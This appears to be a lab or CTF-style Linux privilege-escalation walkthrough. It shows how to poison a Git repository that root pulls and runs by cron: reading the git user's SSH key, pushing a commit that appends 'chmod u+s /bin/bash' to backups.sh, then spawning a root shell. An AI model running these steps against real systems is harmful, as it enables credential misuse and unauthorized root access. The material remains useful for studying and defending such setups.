PRIMARY CATEGORY → LINUX PRIVESC

Abusing Writable Git Hooks

🛠️⌛


Cron-Driven Git Repository Poisoning

Theory

This attack occurs when a privileged user periodically synchronizes a local working tree with a GIT repository and subsequently executes a file from the updated working tree.

If an attacker can push changes to the trusted repository, they can modify the executed file without requiring direct write permissions over the privileged working tree.

The complete execution flow is:

  • The attacker pushes a malicious commit to a Git repository

  • A privileged scheduled task pulls the commit into another working tree

e.g. A CRON Job run as root

  • A second privileged task executes the modified file

  • The attacker’s code consequently runs with the privileges of the scheduled task

In this scenario, /git-server is a bare repository. A bare repository contains Git metadata directly in its root and does not have a checked-out working tree or a separate .git/ directory.

A restricted git-shell does not provide an interactive system shell. However, it intentionally allows the server-side Git commands required by operations such as clone, fetch and push:

  • git-upload-pack — Sends repository objects during clone and fetch operations

  • git-receive-pack — Receives objects and updates references during push operations

  • git-upload-archive — Provides remote Git archives

Therefore, escaping from git-shell is unnecessary. A valid SSH identity for the git user can be used directly by the Git client.

This technique does not abuse Git hooks. The attacker modifies a tracked file that a privileged process later pulls and executes.

Requirements
  • A privileged scheduled task must periodically update a working tree from a Git repository

  • A privileged process must subsequently execute a tracked file from that updated working tree

  • The attacker must be able to push commits to the branch used by the privileged working tree

  • The modified file must be executed after the malicious commit has been pulled

  • The attacker must control a repository identity with permission to update the relevant remote reference

Enumeration
Discovering Scheduled Tasks

First, we check the standard Cron configuration locations →

cat /etc/crontab
ls -la /etc/cron.d
ls -la /etc/cron.hourly /etc/cron.daily /etc/cron.weekly /etc/cron.monthly

But we get nothing

Then, we discover a backup file named /etc/crontab.bak:

cat /etc/crontab.bak

The file suggests that one task updates a repository and another executes backups.sh.

However, a .bak file is not automatically processed by Cron and does not prove that the tasks are currently active.

Monitoring Scheduled Processes

Therefore, we can upload a pspy binary to confirm the real processes, execution order and effective user

chmod +x pspy
./pspy

The UID=0 entries confirm that ROOT:

  • Executes /root/pull.sh

  • Reads objects from /git-server

  • Executes /root/git-server/backups.sh

The process information establishes the relevant trust relationship:

/git-server
        │
        │ ROOT pulls changes
        ▼
/root/git-server
        │
        │ ROOT executes backups.sh
        ▼
Privileged command execution
Identifying the Bare Repository

Inspect /git-server:

ls -la /git-server

The presence of HEAD, objects/, refs/ and config directly inside the directory indicates that it is a bare Git repository

Inspecting the Repository Contents

If the repository is readable, we can create a temporary read-only clone →

git clone 'file:///git-server' /tmp/git-recon

Inspect the checked-out files:

ls -la /tmp/git-recon

The clone contains backups.sh, which matches the file executed by ROOT from /root/git-server/backups.sh.

Inspect its current content:

cat /tmp/git-recon/backups.sh
Checking Repository Write Permissions

Check every component of the repository path:

namei -l /git-server

Check whether the current user can create files directly inside it:

test -w /git-server && echo 'Writable' || echo 'Not writable'

The repository and its objects are owned by git:git. Our current user can read and clone the repository but cannot directly modify its objects, references or hooks.

Discovering the Git User’s SSH Key

Inspect the Git user’s SSH directory:

namei -l /home/git/.ssh
ls -la /home/git/.ssh

Verify that the private key is readable:

test -r /home/git/.ssh/id_rsa && 

A readable private key can be used only if its corresponding public key is trusted by the SSH service and the key is not protected by an unknown passphrase.

Inspecting the Git Login Shell

Attempting an interactive SSH connection as git lands in the restricted git-shell environment or is rejected:

ssh -p <SSH_PORT> -i /home/git/.ssh/id_rsa git@localhost

This restriction does not prevent Git operations. Git communicates through explicitly permitted server-side commands instead of requiring an interactive shell.

Abuse
Importing the Key into SSH-Agent

Start an SSH agent for the current shell:

eval "$( ssh-agent )"

Import the Git user’s private key:

ssh-add /home/git/.ssh/id_rsa

Confirm that the identity is loaded:

ssh-add -l

The agent provides the private key automatically when Git establishes its SSH connection

Cloning the Repository through SSH

Clone the bare repository through SSH as the git user →

rm -rf /tmp/git-server
git clone 'ssh://git@localhost:<SSH_PORT>/git-server' /tmp/git-server

When using the ssh:// URL format, the path after the host and port is interpreted as an absolute path on the remote system.

During the clone, Git effectively requests the following restricted command through SSH:

git-upload-pack '/git-server'

This command is allowed by git-shell.

Inspect the configured remote and current branch:

git -C /tmp/git-server remote -v
git -C /tmp/git-server branch --show-current
git -C /tmp/git-server status
Adding the Payload

Append a command that adds the SUID permission to /bin/bash:

printf '\n/usr/bin/chmod u+s /bin/bash\n' >> /tmp/git-server/backups.sh

The filename is backups.sh. Using backups.bash would modify a different file that the privileged task does not execute.

Committing the Change
  • Configure a repository-local Git identity
git -C /tmp/git-server config --local user.name '0xkholod'
git -C /tmp/git-server config --local user.email '0xkholod@pwned.com'
  • Stage only the modified script
git -C /tmp/git-server add -- backups.sh
  • Create the commit:
git -C /tmp/git-server commit -m 'Update backup script'
Pushing the Malicious Commit

Push the current branch to the bare repository:

git -C /tmp/git-server push origin HEAD

The command runs as the git operating-system user. Since that user owns /git-server, Git can write the new objects and update the branch reference.

The push updates the repository history. It does not directly modify the files inside /root/git-server.

Waiting for the Privileged Pull

Monitor the processes again:

./pspy

The first scheduled task should retrieve the malicious commit:

The privileged working tree should now contain the modified version of backups.sh.

A successful push alone is insufficient. The attack works only after ROOT pulls the pushed commit into /root/git-server.

Waiting for Privileged Execution

The second scheduled task executes the updated script:

Since the script is executed with UID=0, the appended command runs as ROOT.

Verifying the Payload

Check the permissions of /bin/bash:

ls -l /bin/bash

Spawn Bash while preserving its effective user ID:

/bin/bash -p

Verify the resulting privileges:

id

The -p option is required because Bash normally drops elevated effective privileges when real and effective user IDs differ.